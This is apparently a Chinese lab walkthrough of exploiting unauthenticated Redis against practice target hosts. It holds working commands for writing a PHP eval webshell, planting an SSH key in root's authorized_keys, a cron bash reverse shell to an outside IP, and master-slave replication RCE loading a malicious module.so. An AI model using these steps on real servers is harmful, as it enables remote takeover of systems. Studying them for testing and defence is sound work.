本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Redis 未授权访问
是指 Redis 数据库在没有正确配置访问控制的情况下,允许任何用户无需身份验证即可直接访问和操作数据库。这种安全问题通常是由于管理员未设置密码认证或未限制访问来源导致的。
二、漏洞发现
Redis服务的默认端口:6379
1.使用TxPortMap进行端口扫描
TxPortMap.exe -i 域名 -p 扫描端口
TxPortMap.exe -i 45a0e480ec09.target.yijinglab.com -p 57110

探测出可能是redis未授权漏洞
2.漏洞验证
此时我们可以使用redis的远程连接工具
可以看出是有redis的未授权访问漏洞的,因为无需密码登录

输入info,验证未授权漏洞,发现存在该漏洞

三、漏洞利用
1.漏洞利用方法
1). 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
2). 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
3). 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
2.写Webshell
1)条件
- 知道网站根目录绝对路径
- 对目标网站根目录有写入权限
通过dirseach工具目录扫描发现存在 file.php 页面,报错信息显示了网站根目录:

2)写webshell
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save

访问shell.php查看是否成功
发现一句话木马传入成功

3)getshell
使用phpinfo命令

使用system进行命令执行,获取用户名
cmd=system('whoami');

3.写SSH公钥
1)条件
- 目标服务器开放ssh服务端口
- 需要以root用户启动redis服务,redis才有权限写入ssh公钥:/root/.ssh
2).ssh文件夹文件介绍
- authorized_keys:是远程服务器上的一个文件,用于存储允许登录的公钥
- id_rsa:SSH私钥文件(攻击机)
- id_rsa.pub:SSH 公钥文件(攻击机)
3)写ssh公钥和私钥
(1)攻击机生成ssh公钥和私钥
# 生成SSH公钥和私钥保存到 /root/.ssh/ 目录
ssh-keygen -q -t rsa -f /root/.ssh/id_rsa -N ''

(2)在 id_rsa.pub 公钥内容前后加入换行符,保存到 /tmp/foo.txt 文件(加入换行符用于分隔公钥与其它数据,防止公钥执行失败)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

(3)读取 /tmp/foo.txt 文件内容,存入redis中
#管道符|:将前面执行的结果当作后面执行的输入
cat /tmp/foo.txt | redis-cli -h 471d973642fe.target.yijinglab.com -p 56802 -x set m
redis-cli -h 471d973642fe.target.yijinglab.com -p 56802
get m

(4)将redis中的m(公钥)存入目标服务器的authorized_keys文件中
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

authorized_keys文件中的内容

(5)尝试进行免密登录,成功获取目标服务器权限
ssh root@18deb27c6a16.target.yijinglab.com -p 57279

4.写定时任务反弹shell
1)条件
- 需要目标主机有cron定时任务服务
- 知道定时任务所在的目录
2)用户定时任务位置
| 系统 | 定时任务位置 | 例子 |
|---|---|---|
| debian、ubuntu | /var/spool/cron/crontabs/用户名 | /var/spool/cron/crontabs/root |
| centos、redhat | /var/spool/cron/用户名 | /var/spool/cron/root |
3)写入定时任务
注意:公网访问不了内网
redis-cli -h 471d973642fe.target.yijinglab.com -p 56802
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.34.126.129/7777 0>&1\n\n"
save
将反弹shell写入服务器中

开启监听,成功获取服务器权限

5.主从复制RCE
1)Redis的主从复制概述
如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这 种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份 机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量 的压力,算是一种通过牺牲空间来换取效率的缓解方式。
2)主从复制RCE原理
Redis的主从复制功能允许从服务器同步主服务器的数据。然而,在Redis 4.x及以后的版本中,引入的 模块功能可能被滥用来实现远程代码执行(RCE):
- 模块功能滥用:攻击者通过上传恶意的Redis模块(.so文件),并利用Redis的MODULE LOAD命令加 载该模块。
- 远程代码执行:加载的恶意模块可能包含用C语言编写的代码,该代码在Redis服务器上执行,允许攻 击者执行任意命令。
3)漏洞利用
(1)脚本利用Redis主从复制RCE
cd redis-rce
python redis-rce.py -r eac1301abf42.target.yijinglab.com -p 54351 -L 120.79.150.243 -f module.so

(2)脚本原理
python redis-rce.py -r 1c902888582f.target.yijinglab.com -p 54919 -L 8.134.220.192 -f mo dule.so
- 首先连接目标 1c902888582f.target.yijinglab.com 的 54919 端口,访问未授权redis服务
- 发送配置主从模式的命令到目标redis服务
命令如下:
slaveof 8.134.220.192 21000
//将当前 Redis 服务器设置为8.134.220.192:21000的从节点。
config set dbfilename module.so
//攻击者可以将恶意代码写入.so文件,并通过 Redis 的MODULE LOAD命令加载该文件,从而执行任意代码。
- 监听 8.134.220.192:21000 作为 redis 主机
- 目标机器(从机)从 8.134.220.192:21000 主机复制 module.so 内容保存到 redis 服务器的 module.so 文件中
- 目标机器加载 module.so 扩展模
MODULE LOAD ./module.so
- 执行命令
system.exec "id"